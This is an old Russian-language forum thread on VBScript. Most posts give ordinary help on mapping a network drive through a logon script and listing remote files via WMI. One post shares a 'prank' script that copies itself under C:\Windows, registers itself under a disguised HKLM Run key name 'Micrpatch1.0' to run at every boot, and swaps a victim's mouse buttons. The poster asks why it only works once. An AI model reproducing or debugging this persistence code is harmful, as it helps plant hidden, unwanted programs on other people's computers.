VBScript

Тема в разделе "Другие", создана пользователем MadVBS, 22 окт 2004.

Статус темы:
Закрыта.
  1. MadVBS

    MadVBS Гость

    Поможите, чем можите:
    хочу с сервера запускать скрипт, который при входе юзера в сеть будет подключать на машине этого юзера сетевой диск
    :)
     
  2. Guest

    Guest Гость

    А документацию почитать слабо?

    Создай *.bat (минус - появление консольного окна при входе юзера в систему)
    net use z: \\server\share

    или *.vbs
    dim wshNetwork
    Set WshNetwork = WScript.CreateObject("WScript.Network")
    wshNetwork.MapNetworkDrive "z:", "\\server\share$", false
    set wshNetwork = nothing

    кинь файл в \\server\sysvol\_domain_name_\scripts (может быть \\server\netlogon точно не помню, загляни в хелп). Далее, в свойствах пользователя на вкладке "Профиль" укажи полный путь к этому файлу (через сеть) в "Сценарий входа".
     
  3. MadVBS

    MadVBS Гость

    :)
    Спасиба больша.
     
  4. mutabor

    mutabor Гость

    Помогите пожалуйста. Вот решил пошутить над другом и нашел такой скрипт. Проблема в том, что он срабатывает только один раз, а при последующей загрузке машины он не срабатывает. Хотя в реестр прописывается. Вот код:

    Код (Text):
    Set FSA=CreateObject("Scripting.FileSystemObject")
    FSA.CreateFolder("C:\Windows\ff")
    Set file1=FSA.GetFile(WScript.ScriptFullName)
    file1.Copy("C:\Windows\ff\mouse.vbs")
    Код (Text):
    Set WSHShell=WScript.CreateObject("WScript.Shell")
    WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Micrpatch1.0","C:\Windows\mouse.vbs", "REG_SZ"
    sub zp(y,x)
    set wshshell=wscript.createobject("wscript.shell")
    x=wshshell.run(y,x)
    end sub
    call zp("rundll32 user,swapmousebutton",true)
    Спасибо.
     
  5. MadVBS

    MadVBS Гость

    <!--QuoteBegin-Guest+31:10:2004, 15:16 -->
    <span class="vbquote">(Guest @ 31:10:2004, 15:16 )</span><!--QuoteEBegin-->А документацию почитать слабо?

    Создай *.bat (минус - появление консольного окна при входе юзера в систему)
    net use z: \\server\share

    или *.vbs
    dim wshNetwork
    Set WshNetwork = WScript.CreateObject("WScript.Network")
    wshNetwork.MapNetworkDrive "z:", "\\server\share$", false
    set wshNetwork = nothing

    кинь файл в \\server\sysvol\_domain_name_\scripts (может быть \\server\netlogon точно не помню, загляни в хелп). Далее, в свойствах пользователя на вкладке "Профиль" укажи полный путь к этому файлу (через сеть) в "Сценарий входа".[/quote]
    А можно еще один вопросик? <_<
    Хочу забросить в массив список файлов из определенной папки на сетевом диске удаленной машины. В документации написано:

    Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
    Set colFiles = objWMIService.ExecQuery("Select * from CIM_DataFile where Path = '\\Scripts\\'")

    For Each objFile in colFiles
    Wscript.Echo objFile.Name
    Next

    Но как только указываю путь до папки, включая слэши, ругается система. Как же здесь указывать путь? Подскажите плз хитрость :)
     
Загрузка...
Похожие Темы - VBScript
  1. mokritskayana
    Ответов:
    0
    Просмотров:
    1.549
Статус темы:
Закрыта.

Поделиться этой страницей